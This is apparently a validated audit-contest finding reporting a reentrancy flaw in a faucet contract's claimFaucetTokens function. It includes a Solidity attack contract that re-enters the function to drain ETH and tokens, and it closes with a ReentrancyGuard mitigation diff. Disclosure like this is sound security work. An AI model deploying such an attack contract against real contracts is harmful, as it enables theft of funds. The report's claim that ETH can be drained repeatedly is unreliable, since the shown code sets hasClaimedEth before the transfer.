Raisebox Faucet

First Flight #50
Beginner FriendlySolidity
100 EXP
Submission Details
Severity: high
Valid

Reentrancy Attack in claimFaucetTokens Function

Author Revealed upon completion

Reentrancy Attack in claimFaucetTokens Function

Description

The claimFaucetTokens() function should follow the Checks-Effects-Interactions pattern to prevent reentrancy attacks by updating all state variables before making external calls.

The function makes an external ETH transfer call before updating critical state variables like lastClaimTime and dailyClaimCount, allowing malicious contracts to re-enter the function during the ETH transfer and drain both tokens and ETH from the contract.

function claimFaucetTokens() public {
// ... checks and validations ...
if (!hasClaimedEth[faucetClaimer] && !sepEthDripsPaused) {
// ... more checks ...
hasClaimedEth[faucetClaimer] = true;
dailyDrips += sepEthAmountToDrip;
@> (bool success,) = faucetClaimer.call{value: sepEthAmountToDrip}(""); // External call before state updates
// ... error handling ...
}
// ... daily reset logic ...
@> lastClaimTime[faucetClaimer] = block.timestamp; // State update after external call
@> dailyClaimCount++; // State update after external call
_transfer(address(this), faucetClaimer, faucetDrip);
}

Risk

Likelihood: High

  • Attacker deploys a malicious contract with a receive() function that calls claimFaucetTokens() again

  • The external call faucetClaimer.call{value: sepEthAmountToDrip}("") transfers control to the attacker's contract

  • State variables haven't been updated yet, so all checks pass on the reentrant call

Impact: High

  • Complete drainage of both ETH and token balances from the faucet contract

  • Permanent disruption of the faucet mechanism for legitimate users

Proof of Concept

// Deploy this malicious contract and call attack() to drain the faucet
contract MaliciousReceiver {
RaiseBoxFaucet public faucet;
uint256 public attackCount;
bool public attacking;
constructor(address _faucet) {
faucet = RaiseBoxFaucet(_faucet);
}
// Initial attack trigger
function attack() external {
attacking = true;
faucet.claimFaucetTokens();
}
// This function gets called when the faucet sends ETH
receive() external payable {
// Prevent infinite recursion and gas limit issues
if (attacking && attackCount < 10 && address(faucet).balance > 0) {
attackCount++;
// Reentrant call - state hasn't been updated yet!
faucet.claimFaucetTokens();
}
}
// Check results after attack
function getAttackResults() external view returns (uint256 ethStolen, uint256 tokensStolen) {
return (address(this).balance, faucet.balanceOf(address(this)));
}
}

Attack scenario:

  1. Deploy MaliciousReceiver with faucet address

  2. Call attack() - first claimFaucetTokens() call

  3. When faucet sends ETH, receive() is triggered

  4. receive() calls claimFaucetTokens() again before state is updated

  5. All checks pass again because lastClaimTime and dailyClaimCount unchanged

  6. Process repeats until gas limit or contract drained

  7. Result: Attacker receives multiple token transfers and ETH payments

Recommended Mitigation

The mitigation involves implementing the ReentrancyGuard modifier from OpenZeppelin and restructuring the function to follow the Checks-Effects-Interactions pattern. This ensures all state changes occur before any external calls, preventing reentrant attacks.

+ import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
- contract RaiseBoxFaucet is ERC20, Ownable {
+ contract RaiseBoxFaucet is ERC20, Ownable, ReentrancyGuard {
- function claimFaucetTokens() public {
+ function claimFaucetTokens() public nonReentrant {
// CHECKS: All validation logic first
faucetClaimer = msg.sender;
// Rest of the code...
if (dailyClaimCount >= dailyClaimLimit) {
revert RaiseBoxFaucet_DailyClaimLimitReached();
}
+ // EFFECTS: Update all state before external calls
+ lastClaimTime[faucetClaimer] = block.timestamp;
+
+ // Handle daily reset logic
+ if (block.timestamp > lastFaucetDripDay + 1 days) {
+ lastFaucetDripDay = block.timestamp;
+ dailyClaimCount = 0;
+ }
+ dailyClaimCount++;
// Handle ETH drip for first-time claimers
if (!hasClaimedEth[faucetClaimer] && !sepEthDripsPaused) {
uint256 currentDay = block.timestamp / 24 hours;
// Rest of the codes
if (dailyDrips + sepEthAmountToDrip <= dailySepEthCap && address(this).balance >= sepEthAmountToDrip) {
+ // Update state before external call
hasClaimedEth[faucetClaimer] = true;
dailyDrips += sepEthAmountToDrip;
+ // INTERACTIONS: External calls last
(bool success,) = faucetClaimer.call{value: sepEthAmountToDrip}("");
if (success) {
emit SepEthDripped(faucetClaimer, sepEthAmountToDrip);
} else {
revert RaiseBoxFaucet_EthTransferFailed();
}
} else {
// Rest of the codes
}
}
- // Remove these state updates (moved earlier)
- if (block.timestamp > lastFaucetDripDay + 1 days) {
- lastFaucetDripDay = block.timestamp;
- dailyClaimCount = 0;
- }
-
- lastClaimTime[faucetClaimer] = block.timestamp;
- dailyClaimCount++;
// Final token transfer
_transfer(address(this), faucetClaimer, faucetDrip);
emit Claimed(msg.sender, faucetDrip);
}
Updates

Lead Judging Commences

inallhonesty Lead Judge 1 day ago
Submission Judgement Published
Validated
Assigned finding tags:

Reentrancy in `claimFaucetTokens`

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.